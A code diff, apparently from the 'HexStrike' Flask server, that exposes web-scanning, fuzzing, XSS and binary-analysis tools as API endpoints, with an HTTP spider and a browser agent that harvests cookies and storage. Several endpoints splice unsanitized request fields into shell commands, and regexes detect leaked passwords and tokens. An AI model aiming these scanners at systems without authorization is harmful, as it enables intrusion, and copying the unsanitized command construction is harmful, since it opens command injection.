+
         if script_content:
             with open(script_file, "w") as f:
                 f.write(script_content)
@@ -10693,24 +10693,24 @@ print(f"CFG edges: {len(cfg.graph.edges())}")
 for func_addr, func in cfg.functions.items():
     print(f"Function: {func.name} at {hex(func_addr)}")
 """
-            
+
             with open(script_file, "w") as f:
                 f.write(template)
-        
+
         command = f"python3 {script_file}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting angr analysis: {binary}")
         result = execute_command(command, timeout=600)  # Longer timeout for symbolic execution
-        
+
         # Cleanup
         try:
             os.remove(script_file)
         except:
             pass
-        
+
         logger.info(f"📊 angr analysis completed")
         return jsonify(result)
     except Exception as e:
@@ -10728,13 +10728,13 @@ def ropper():
         arch = params.get("arch", "")  # x86, x86_64, arm, etc.
         search_string = params.get("search_string", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 ropper called without binary parameter")
             return jsonify({"error": "Binary parameter is required"}), 400
-        
+
         command = f"ropper --file {binary}"
-        
+
         if gadget_type == "rop":
             command += " --rop"
         elif gadget_type == "jop":
@@ -10743,19 +10743,19 @@ def ropper():
             command += " --sys"
         elif gadget_type == "all":
             command += " --all"
-        
+
         if quality > 1:
             command += f" --quality {quality}"
-        
+
         if arch:
             command += f" --arch {arch}"
-        
+
         if search_string:
             command += f" --search '{search_string}'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting ropper analysis: {binary}")
         result = execute_command(command)
         logger.info(f"📊 ropper analysis completed")
@@ -10774,25 +10774,25 @@ def pwninit():
         ld = params.get("ld", "")
         template_type = params.get("template_type", "python")  # python, c
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 pwninit called without binary parameter")
             return jsonify({"error": "Binary parameter is required"}), 400
-        
+
         command = f"pwninit --bin {binary}"
-        
+
         if libc:
             command += f" --libc {libc}"
-        
+
         if ld:
             command += f" --ld {ld}"
-        
+
         if template_type:
             command += f" --template {template_type}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting pwninit setup: {binary}")
         result = execute_command(command)
         logger.info(f"📊 pwninit setup completed")
@@ -10814,18 +10814,18 @@ def feroxbuster():
         wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt")
         threads = params.get("threads", 10)
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Feroxbuster called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"feroxbuster -u {url} -w {wordlist} -t {threads}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Feroxbuster scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 Feroxbuster scan completed for {url}")
@@ -10844,20 +10844,20 @@ def dotdotpwn():
         target = params.get("target", "")
         module = params.get("module", "http")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 DotDotPwn called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"dotdotpwn -m {module} -h {target}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         command += " -b"
-        
+
         logger.info(f"🔍 Starting DotDotPwn scan: {target}")
         result = execute_command(command)
         logger.info(f"📊 DotDotPwn scan completed for {target}")
@@ -10876,21 +10876,21 @@ def xsser():
         url = params.get("url", "")
         params_str = params.get("params", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 XSSer called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"xsser --url '{url}'"
-        
+
         if params_str:
             command += f" --param='{params_str}'"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting XSSer scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 XSSer scan completed for {url}")
@@ -10909,18 +10909,18 @@ def wfuzz():
         url = params.get("url", "")
         wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Wfuzz called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"wfuzz -w {wordlist} '{url}'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Wfuzz scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 Wfuzz scan completed for {url}")
@@ -10946,19 +10946,19 @@ def dirsearch():
         threads = params.get("threads", 30)
         recursive = params.get("recursive", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Dirsearch called without URL parameter")
             return jsonify({"error": "URL parameter is required"}), 400
-        
+
         command = f"dirsearch -u {url} -e {extensions} -w {wordlist} -t {threads}"
-        
+
         if recursive:
             command += " -r"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"📁 Starting Dirsearch scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 Dirsearch scan completed for {url}")
@@ -10978,25 +10978,25 @@ def katana():
         form_extraction = params.get("form_extraction", True)
         output_format = params.get("output_format", "json")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Katana called without URL parameter")
             return jsonify({"error": "URL parameter is required"}), 400
-        
+
         command = f"katana -u {url} -d {depth}"
-        
+
         if js_crawl:
             command += " -jc"
-        
+
         if form_extraction:
             command += " -fx"
-        
+
         if output_format == "json":
             command += " -jsonl"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"⚔️  Starting Katana crawl: {url}")
         result = execute_command(command)
         logger.info(f"📊 Katana crawl completed for {url}")
@@ -11015,25 +11015,25 @@ def gau():
         include_subs = params.get("include_subs", True)
         blacklist = params.get("blacklist", "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico")
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 Gau called without domain parameter")
             return jsonify({"error": "Domain parameter is required"}), 400
-        
+
         command = f"gau {domain}"
-        
+
         if providers != "wayback,commoncrawl,otx,urlscan":
             command += f" --providers {providers}"
-        
+
         if include_subs:
             command += " --subs"
-        
+
         if blacklist:
             command += f" --blacklist {blacklist}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"📡 Starting Gau URL discovery: {domain}")
         result = execute_command(command)
         logger.info(f"📊 Gau URL discovery completed for {domain}")
@@ -11051,22 +11051,22 @@ def waybackurls():
         get_versions = params.get("get_versions", False)
         no_subs = params.get("no_subs", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 Waybackurls called without domain parameter")
             return jsonify({"error": "Domain parameter is required"}), 400
-        
+
         command = f"waybackurls {domain}"
-        
+
         if get_versions:
             command += " --get-versions"
-        
+
         if no_subs:
             command += " --no-subs"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🕰️  Starting Waybackurls discovery: {domain}")
         result = execute_command(command)
         logger.info(f"📊 Waybackurls discovery completed for {domain}")
@@ -11087,25 +11087,25 @@ def arjun():
         threads = params.get("threads", 25)
         stable = params.get("stable", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Arjun called without URL parameter")
             return jsonify({"error": "URL parameter is required"}), 400
-        
+
         command = f"arjun -u {url} -m {method} -t {threads}"
-        
+
         if wordlist:
             command += f" -w {wordlist}"
-        
+
         if delay > 0:
             command += f" -d {delay}"
-        
+
         if stable:
             command += " --stable"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🎯 Starting Arjun parameter discovery: {url}")
         result = execute_command(command)
         logger.info(f"📊 Arjun parameter discovery completed for {url}")
@@ -11124,22 +11124,22 @@ def paramspider():
         exclude = params.get("exclude", "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico")
         output = params.get("output", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 ParamSpider called without domain parameter")
             return jsonify({"error": "Domain parameter is required"}), 400
-        
+
         command = f"paramspider -d {domain} -l {level}"
-        
+
         if exclude:
             command += f" --exclude {exclude}"
-        
+
         if output:
             command += f" -o {output}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🕷️  Starting ParamSpider mining: {domain}")
         result = execute_command(command)
         logger.info(f"📊 ParamSpider mining completed for {domain}")
@@ -11159,22 +11159,22 @@ def x8():
         body = params.get("body", "")
         headers = params.get("headers", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 x8 called without URL parameter")
             return jsonify({"error": "URL parameter is required"}), 400
-        
+
         command = f"x8 -u {url} -w {wordlist} -X {method}"
-        
+
         if body:
             command += f" -b '{body}'"
-        
+
         if headers:
             command += f" -H '{headers}'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting x8 parameter discovery: {url}")
         result = execute_command(command)
         logger.info(f"📊 x8 parameter discovery completed for {url}")
@@ -11194,22 +11194,22 @@ def jaeles():
         threads = params.get("threads", 20)
         timeout = params.get("timeout", 20)
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Jaeles called without URL parameter")
             return jsonify({"error": "URL parameter is required"}), 400
-        
+
         command = f"jaeles scan -u {url} -c {threads} --timeout {timeout}"
-        
+
         if signatures:
             command += f" -s {signatures}"
-        
+
         if config:
             command += f" --config {config}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔬 Starting Jaeles vulnerability scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 Jaeles vulnerability scan completed for {url}")
@@ -11230,31 +11230,31 @@ def dalfox():
         mining_dict = params.get("mining_dict", True)
         custom_payload = params.get("custom_payload", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not url and not pipe_mode:
             logger.warning("🌐 Dalfox called without URL parameter")
             return jsonify({"error": "URL parameter is required"}), 400
-        
+
         if pipe_mode:
             command = "dalfox pipe"
         else:
             command = f"dalfox url {url}"
-        
+
         if blind:
             command += " --blind"
-        
+
         if mining_dom:
             command += " --mining-dom"
-        
+
         if mining_dict:
             command += " --mining-dict"
-        
+
         if custom_payload:
             command += f" --custom-payload '{custom_payload}'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🎯 Starting Dalfox XSS scan: {url if url else 'pipe mode'}")
         result = execute_command(command)
         logger.info(f"📊 Dalfox XSS scan completed")
@@ -11277,34 +11277,34 @@ def httpx():
         web_server = params.get("web_server", False)
         threads = params.get("threads", 50)
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🌐 httpx called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"httpx -l {target} -t {threads}"
-        
+
         if probe:
             command += " -probe"
-        
+
         if tech_detect:
             command += " -tech-detect"
-        
+
         if status_code:
             command += " -sc"
-        
+
         if content_length:
             command += " -cl"
-        
+
         if title:
             command += " -title"
-        
+
         if web_server:
             command += " -server"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🌍 Starting httpx probe: {target}")
         result = execute_command(command)
         logger.info(f"📊 httpx probe completed for {target}")
@@ -11321,19 +11321,19 @@ def anew():
         input_data = params.get("input_data", "")
         output_file = params.get("output_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not input_data:
             logger.warning("📝 Anew called without input data")
             return jsonify({"error": "Input data is required"}), 400
-        
+
         if output_file:
             command = f"echo '{input_data}' | anew {output_file}"
         else:
             command = f"echo '{input_data}' | anew"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info("📝 Starting anew data processing")
         result = execute_command(command)
         logger.info("📊 anew data processing completed")
@@ -11350,16 +11350,16 @@ def qsreplace():
         urls = params.get("urls", "")
         replacement = params.get("replacement", "FUZZ")
         additional_args = params.get("additional_args", "")
-        
+
         if not urls:
             logger.warning("🌐 qsreplace called without URLs")
             return jsonify({"error": "URLs parameter is required"}), 400
-        
+
         command = f"echo '{urls}' | qsreplace '{replacement}'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info("🔄 Starting qsreplace parameter replacement")
         result = execute_command(command)
         logger.info("📊 qsreplace parameter replacement completed")
@@ -11377,22 +11377,22 @@ def uro():
         whitelist = params.get("whitelist", "")
         blacklist = params.get("blacklist", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not urls:
             logger.warning("🌐 uro called without URLs")
             return jsonify({"error": "URLs parameter is required"}), 400
-        
+
         command = f"echo '{urls}' | uro"
-        
+
         if whitelist:
             command += f" --whitelist {whitelist}"
-        
+
         if blacklist:
             command += f" --blacklist {blacklist}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info("🔍 Starting uro URL filtering")
         result = execute_command(command)
         logger.info("📊 uro URL filtering completed")
@@ -11411,7 +11411,7 @@ def uro():
 
 class HTTPTestingFramework:
     """Advanced HTTP testing framework as Burp Suite alternative"""
-    
+
     def __init__(self):
         self.session = requests.Session()
         self.session.headers.update({
@@ -11422,15 +11422,15 @@ class HTTPTestingFramework:
         self.match_replace_rules = []  # [{'where':'query|headers|body|url','pattern':'regex','replacement':'str'}]
         self.scope = None  # {'host': 'example.com', 'include_subdomains': True}
         self._req_id = 0
-        
+
     def setup_proxy(self, proxy_port: int = 8080):
         """Setup HTTP proxy for request interception"""
         self.session.proxies = {
             'http': f'http://127.0.0.1:{proxy_port}',
             'https': f'http://127.0.0.1:{proxy_port}'
         }
-        
-    def intercept_request(self, url: str, method: str = 'GET', data: dict = None, 
+
+    def intercept_request(self, url: str, method: str = 'GET', data: dict = None,
                          headers: dict = None, cookies: dict = None) -> dict:
         """Intercept and analyze HTTP requests"""
         try:
@@ -11443,7 +11443,7 @@ class HTTPTestingFramework:
             url, data, send_headers = self._apply_match_replace(url, data, dict(self.session.headers))
             if headers:
                 send_headers.update(headers)
-                
+
             if method.upper() == 'GET':
                 response = self.session.get(url, params=data, headers=send_headers, timeout=30)
             elif method.upper() == 'POST':
@@ -11454,7 +11454,7 @@ class HTTPTestingFramework:
                 response = self.session.delete(url, headers=send_headers, timeout=30)
             else:
                 response = self.session.request(method, url, data=data, headers=send_headers, timeout=30)
-            
+
             # Store request/response in history
             self._req_id += 1
             request_data = {
@@ -11465,7 +11465,7 @@ class HTTPTestingFramework:
                 'data': data,
                 'timestamp': datetime.now().isoformat()
             }
-            
+
             response_data = {
                 'status_code': response.status_code,
                 'headers': dict(response.headers),
@@ -11473,22 +11473,22 @@ class HTTPTestingFramework:
                 'size': len(response.content),
                 'time': response.elapsed.total_seconds()
             }
-            
+
             self.proxy_history.append({
                 'request': request_data,
                 'response': response_data
             })
-            
+
             # Analyze for vulnerabilities
             self._analyze_response_for_vulns(url, response)
-            
+
             return {
                 'success': True,
                 'request': request_data,
                 'response': response_data,
                 'vulnerabilities': self._get_recent_vulns()
             }
-            
+
         except Exception as e:
             logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'HTTP-Framework', str(e))}")
             return {'success': False, 'error': str(e)}
@@ -11617,11 +11617,11 @@ class HTTPTestingFramework:
             'tested': total,
             'interesting': interesting[:50]
         }
-    
+
     def _analyze_response_for_vulns(self, url: str, response):
         """Analyze HTTP response for common vulnerabilities"""
         vulns = []
-        
+
         # Check for missing security headers
         security_headers = {
             'X-Frame-Options': 'Clickjacking protection missing',
@@ -11630,7 +11630,7 @@ class HTTPTestingFramework:
             'Strict-Transport-Security': 'HTTPS enforcement missing',
             'Content-Security-Policy': 'Content Security Policy missing'
         }
-        
+
         for header, description in security_headers.items():
             if header not in response.headers:
                 vulns.append({
@@ -11640,7 +11640,7 @@ class HTTPTestingFramework:
                     'url': url,
                     'header': header
                 })
-        
+
         # Check for sensitive information disclosure
         sensitive_patterns = [
             (r'password\s*[:=]\s*["\']?([^"\'\s]+)', 'Password disclosure'),
@@ -11648,7 +11648,7 @@ class HTTPTestingFramework:
             (r'secret\s*[:=]\s*["\']?([^"\'\s]+)', 'Secret disclosure'),
             (r'token\s*[:=]\s*["\']?([^"\'\s]+)', 'Token disclosure')
         ]
-        
+
         for pattern, description in sensitive_patterns:
             matches = re.findall(pattern, response.text, re.IGNORECASE)
             if matches:
@@ -11659,7 +11659,7 @@ class HTTPTestingFramework:
                     'url': url,
                     'matches': matches[:5]  # Limit matches
                 })
-        
+
         # Check for SQL injection indicators
         sql_errors = [
             'SQL syntax error',
@@ -11668,7 +11668,7 @@ class HTTPTestingFramework:
             'Microsoft OLE DB Provider',
             'PostgreSQL query failed'
         ]
-        
+
         for error in sql_errors:
             if error.lower() in response.text.lower():
                 vulns.append({
@@ -11677,13 +11677,13 @@ class HTTPTestingFramework:
                     'description': f'Potential SQL injection: {error}',
                     'url': url
                 })
-        
+
         self.vulnerabilities.extend(vulns)
-    
+
     def _get_recent_vulns(self, limit: int = 10):
         """Get recent vulnerabilities found"""
         return self.vulnerabilities[-limit:] if self.vulnerabilities else []
-    
+
     def spider_website(self, base_url: str, max_depth: int = 3, max_pages: int = 100) -> dict:
         """Spider website to discover endpoints and forms"""
         try:
@@ -11691,32 +11691,32 @@ class HTTPTestingFramework:
             forms = []
             to_visit = [(base_url, 0)]
             visited = set()
-            
+
             while to_visit and len(discovered_urls) < max_pages:
                 current_url, depth = to_visit.pop(0)
-                
+
                 if current_url in visited or depth > max_depth:
                     continue
-                    
+
                 visited.add(current_url)
-                
+
                 try:
                     response = self.session.get(current_url, timeout=10)
                     if response.status_code == 200:
                         discovered_urls.add(current_url)
-                        
+
                         # Parse HTML for links and forms
                         soup = BeautifulSoup(response.text, 'html.parser')
-                        
+
                         # Find all links
                         for link in soup.find_all('a', href=True):
                             href = link['href']
                             full_url = urljoin(current_url, href)
-                            
+
                             if urlparse(full_url).netloc == urlparse(base_url).netloc:
                                 if full_url not in visited and depth < max_depth:
                                     to_visit.append((full_url, depth + 1))
-                        
+
                         # Find all forms
                         for form in soup.find_all('form'):
                             form_data = {
@@ -11725,20 +11725,20 @@ class HTTPTestingFramework:
                                 'method': form.get('method', 'GET').upper(),
                                 'inputs': []
                             }
-                            
+
                             for input_tag in form.find_all(['input', 'textarea', 'select']):
                                 form_data['inputs'].append({
                                     'name': input_tag.get('name', ''),
                                     'type': input_tag.get('type', 'text'),
                                     'value': input_tag.get('value', '')
                                 })
-                            
+
                             forms.append(form_data)
-                            
+
                 except Exception as e:
                     logger.warning(f"Error spidering {current_url}: {str(e)}")
                     continue
-            
+
             return {
                 'success': True,
                 'discovered_urls': list(discovered_urls),
@@ -11746,79 +11746,79 @@ class HTTPTestingFramework:
                 'total_pages': len(discovered_urls),
                 'vulnerabilities': self._get_recent_vulns()
             }
-            
+
         except Exception as e:
             logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'Spider', str(e))}")
             return {'success': False, 'error': str(e)}
 
 class BrowserAgent:
     """AI-powered browser agent for web application testing and inspection"""
-    
+
     def __init__(self):
         self.driver = None
         self.screenshots = []
         self.page_sources = []
         self.network_logs = []
-        
+
     def setup_browser(self, headless: bool = True, proxy_port: int = None):
         """Setup Chrome browser with security testing options"""
         try:
             chrome_options = Options()
-            
+
             if headless:
                 chrome_options.add_argument('--headless')
-            
+
             chrome_options.add_argument('--no-sandbox')
             chrome_options.add_argument('--disable-dev-shm-usage')
             chrome_options.add_argument('--disable-gpu')
             chrome_options.add_argument('--window-size=1920,1080')
             chrome_options.add_argument('--user-agent=HexStrike-BrowserAgent/1.0 (Security Testing)')
-            
+
             # Enable logging
             chrome_options.add_argument('--enable-logging')
             chrome_options.add_argument('--log-level=0')
-            
+
             # Security testing options
             chrome_options.add_argument('--disable-web-security')
             chrome_options.add_argument('--allow-running-insecure-content')
             chrome_options.add_argument('--ignore-certificate-errors')
             chrome_options.add_argument('--ignore-ssl-errors')
-            
+
             if proxy_port:
                 chrome_options.add_argument(f'--proxy-server=http://127.0.0.1:{proxy_port}')
-            
+
             # Enable network logging
             chrome_options.set_capability('goog:loggingPrefs', {'performance': 'ALL'})
-            
+
             self.driver = webdriver.Chrome(options=chrome_options)
             self.driver.set_page_load_timeout(30)
-            
+
             logger.info(f"{ModernVisualEngine.format_tool_status('BrowserAgent', 'RUNNING', 'Chrome Browser Initialized')}")
             return True
-            
+
         except Exception as e:
             logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'BrowserAgent', str(e))}")
             return False
-    
+
     def navigate_and_inspect(self, url: str, wait_time: int = 5) -> dict:
         """Navigate to URL and perform comprehensive inspection"""
         try:
             if not self.driver:
                 if not self.setup_browser():
                     return {'success': False, 'error': 'Failed to setup browser'}
-            
+
             nav_command = f'Navigate to {url}'
             logger.info(f"{ModernVisualEngine.format_command_execution(nav_command, 'STARTING')}")
-            
+
             # Navigate to URL
             self.driver.get(url)
             time.sleep(wait_time)
-            
+
             # Take screenshot
             screenshot_path = f"/tmp/hexstrike_screenshot_{int(time.time())}.png"
             self.driver.save_screenshot(screenshot_path)
             self.screenshots.append(screenshot_path)
-            
+
             # Get page source
             page_source = self.driver.page_source
             self.page_sources.append({
@@ -11826,12 +11826,12 @@ class BrowserAgent:
                 'source': page_source[:50000],  # Limit size
                 'timestamp': datetime.now().isoformat()
             })
-            
+
             # Extract page information
             page_info = {
                 'title': self.driver.title,
                 'url': self.driver.current_url,
-                'cookies': [{'name': c['name'], 'value': c['value'], 'domain': c['domain']} 
+                'cookies': [{'name': c['name'], 'value': c['value'], 'domain': c['domain']}
                            for c in self.driver.get_cookies()],
                 'local_storage': self._get_local_storage(),
                 'session_storage': self._get_session_storage(),
@@ -11842,7 +11842,7 @@ class BrowserAgent:
                 'network_requests': self._get_network_logs(),
                 'console_errors': self._get_console_errors()
             }
-            
+
             # Analyze for security issues
             security_analysis = self._analyze_page_security(page_source, page_info)
             # Merge extended passive analysis
@@ -11851,9 +11851,9 @@ class BrowserAgent:
             security_analysis['total_issues'] = len(security_analysis['issues'])
             security_analysis['security_score'] = max(0, 100 - (security_analysis['total_issues'] * 5))
             security_analysis['passive_modules'] = extended_passive.get('modules', [])
-            
+
             logger.info(f"{ModernVisualEngine.format_tool_status('BrowserAgent', 'SUCCESS', url)}")
-            
+
             return {
                 'success': True,
                 'page_info': page_info,
@@ -11861,11 +11861,11 @@ class BrowserAgent:
                 'screenshot': screenshot_path,
                 'timestamp': datetime.now().isoformat()
             }
-            
+
         except Exception as e:
             logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'BrowserAgent', str(e))}")
             return {'success': False, 'error': str(e)}
-    
+
     # ---------------------- Browser Deep Introspection Helpers ----------------------
     def _get_console_errors(self) -> list:
         """Collect console errors & warnings (if supported)"""
@@ -11995,7 +11995,7 @@ class BrowserAgent:
             """)
         except:
             return {}
-    
+
     def _get_session_storage(self) -> dict:
         """Extract session storage data"""
         try:
@@ -12009,7 +12009,7 @@ class BrowserAgent:
             """)
         except:
             return {}
-    
+
     def _extract_forms(self) -> list:
         """Extract all forms from the page"""
         forms = []
@@ -12021,7 +12021,7 @@ class BrowserAgent:
                     'method': form.get_attribute('method') or 'GET',
                     'inputs': []
                 }
-                
+
                 inputs = form.find_elements(By.TAG_NAME, 'input')
                 for input_elem in inputs:
                     form_data['inputs'].append({
@@ -12029,13 +12029,13 @@ class BrowserAgent:
                         'type': input_elem.get_attribute('type') or 'text',
                         'value': input_elem.get_attribute('value') or ''
                     })
-                
+
                 forms.append(form_data)
         except:
             pass
-        
+
         return forms
-    
+
     def _extract_links(self) -> list:
         """Extract all links from the page"""
         links = []
@@ -12050,9 +12050,9 @@ class BrowserAgent:
                     })
         except:
             pass
-        
+
         return links
-    
+
     def _extract_inputs(self) -> list:
         """Extract all input elements"""
         inputs = []
@@ -12067,9 +12067,9 @@ class BrowserAgent:
                 })
         except:
             pass
-        
+
         return inputs
-    
+
     def _extract_scripts(self) -> list:
         """Extract script sources and inline scripts"""
         scripts = []
@@ -12088,15 +12088,15 @@ class BrowserAgent:
                         })
         except:
             pass
-        
+
         return scripts
-    
+
     def _get_network_logs(self) -> list:
         """Get network request logs"""
         try:
             logs = self.driver.get_log('performance')
             network_requests = []
-            
+
             for log in logs[-50:]:  # Last 50 logs
                 message = json.loads(log['message'])
                 if message['message']['method'] == 'Network.responseReceived':
@@ -12107,15 +12107,15 @@ class BrowserAgent:
                         'mimeType': response['mimeType'],
                         'headers': response.get('headers', {})
                     })
-            
+
             return network_requests
         except:
             return []
-    
+
     def _analyze_page_security(self, page_source: str, page_info: dict) -> dict:
         """Analyze page for security vulnerabilities"""
         issues = []
-        
+
         # Check for sensitive data in local/session storage
         for storage_type, storage_data in [('localStorage', page_info.get('local_storage', {})),
                                           ('sessionStorage', page_info.get('session_storage', {}))]:
@@ -12127,10 +12127,10 @@ class BrowserAgent:
                         'description': f'Sensitive data found in {storage_type}: {key}',
                         'location': storage_type
                     })
-        
+
         # Check for forms without CSRF protection
         for form in page_info.get('forms', []):
-            has_csrf = any('csrf' in input_data['name'].lower() or 'token' in input_data['name'].lower() 
+            has_csrf = any('csrf' in input_data['name'].lower() or 'token' in input_data['name'].lower()
                           for input_data in form['inputs'])
             if not has_csrf and form['method'].upper() == 'POST':
                 issues.append({
@@ -12139,7 +12139,7 @@ class BrowserAgent:
                     'description': 'Form without CSRF protection detected',
                     'form_action': form['action']
                 })
-        
+
         # Check for inline JavaScript
         inline_scripts = [s for s in page_info.get('scripts', []) if s['type'] == 'inline']
         if inline_scripts:
@@ -12149,13 +12149,13 @@ class BrowserAgent:
                 'description': f'Found {len(inline_scripts)} inline JavaScript blocks',
                 'count': len(inline_scripts)
             })
-        
+
         return {
             'total_issues': len(issues),
             'issues': issues,
             'security_score': max(0, 100 - (len(issues) * 10))  # Simple scoring
         }
-    
+
     def close_browser(self):
         """Close the browser instance"""
         if self.driver:
@@ -12362,82 +12362,82 @@ def burpsuite_alternative():
         headless = params.get("headless", True)
         max_depth = params.get("max_depth", 3)
         max_pages = params.get("max_pages", 50)
-        
+
         if not target:
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         logger.info(f"{ModernVisualEngine.create_section_header('BURP SUITE ALTERNATIVE', '🔥', 'BLOOD_RED')}")
         scan_message = f'Starting {scan_type} scan of {target}'
         logger.info(f"{ModernVisualEngine.format_highlighted_text(scan_message, 'RED')}")
-        
+
         results = {
             'target': target,
             'scan_type': scan_type,
             'timestamp': datetime.now().isoformat(),
             'success': True
         }
-        
+
         # Phase 1: Browser-based reconnaissance
         if scan_type in ['comprehensive', 'spider']:
             logger.info(f"{ModernVisualEngine.format_tool_status('BrowserAgent', 'RUNNING', 'Reconnaissance Phase')}")
-            
+
             if not browser_agent.driver:
                 browser_agent.setup_browser(headless)
-            
+
             browser_result = browser_agent.navigate_and_inspect(target)
             results['browser_analysis'] = browser_result
-        
+
         # Phase 2: HTTP spidering
         if scan_type in ['comprehensive', 'spider']:
             logger.info(f"{ModernVisualEngine.format_tool_status('HTTP-Spider', 'RUNNING', 'Discovery Phase')}")
-            
+
             spider_result = http_framework.spider_website(target, max_depth, max_pages)
             results['spider_analysis'] = spider_result
-        
+
         # Phase 3: Vulnerability analysis
         if scan_type in ['comprehensive', 'active']:
             logger.info(f"{ModernVisualEngine.format_tool_status('VulnScanner', 'RUNNING', 'Analysis Phase')}")
-            
+
             # Test discovered endpoints
             discovered_urls = results.get('spider_analysis', {}).get('discovered_urls', [target])
             vuln_results = []
-            
+
             for url in discovered_urls[:20]:  # Limit to 20 URLs
                 test_result = http_framework.intercept_request(url)
                 if test_result.get('success'):
                     vuln_results.append(test_result)
-            
+
             results['vulnerability_analysis'] = {
                 'tested_urls': len(vuln_results),
                 'total_vulnerabilities': len(http_framework.vulnerabilities),
                 'recent_vulnerabilities': http_framework._get_recent_vulns(20)
             }
-        
+
         # Generate summary
         total_vulns = len(http_framework.vulnerabilities)
         vuln_summary = {}
         for vuln in http_framework.vulnerabilities:
             severity = vuln.get('severity', 'unknown')
             vuln_summary[severity] = vuln_summary.get(severity, 0) + 1
-        
+
         results['summary'] = {
             'total_vulnerabilities': total_vulns,
             'vulnerability_breakdown': vuln_summary,
             'pages_analyzed': len(results.get('spider_analysis', {}).get('discovered_urls', [])),
             'security_score': max(0, 100 - (total_vulns * 5))
         }
-        
+
         # Display summary with enhanced colors
         logger.info(f"{ModernVisualEngine.create_section_header('SCAN COMPLETE', '✅', 'SUCCESS')}")
         vuln_message = f'Found {total_vulns} vulnerabilities'
         color_choice = 'YELLOW' if total_vulns > 0 else 'GREEN'
         logger.info(f"{ModernVisualEngine.format_highlighted_text(vuln_message, color_choice)}")
-        
+
         for severity, count in vuln_summary.items():
             logger.info(f"  {ModernVisualEngine.format_vulnerability_severity(severity, count)}")
-        
+
         return jsonify(results)
-        
+
     except Exception as e:
         logger.error(f"{ModernVisualEngine.format_error_card('CRITICAL', 'BurpAlternative', str(e))}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -12460,32 +12460,32 @@ def zap():
         format_type = params.get("format", "xml")
         output_file = params.get("output_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target and scan_type != "daemon":
             logger.warning("🎯 ZAP called without target parameter")
             return jsonify({
                 "error": "Target parameter is required for scans"
             }), 400
-        
+
         if daemon:
             command = f"zaproxy -daemon -host {host} -port {port}"
             if api_key:
                 command += f" -config api.key={api_key}"
         else:
             command = f"zaproxy -cmd -quickurl {target}"
-                
+
             if format_type:
                 command += f" -quickout {format_type}"
-                
+
             if output_file:
                 command += f" -quickprogress -dir \"{output_file}\""
-                
+
             if api_key:
                 command += f" -config api.key={api_key}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting ZAP scan: {target}")
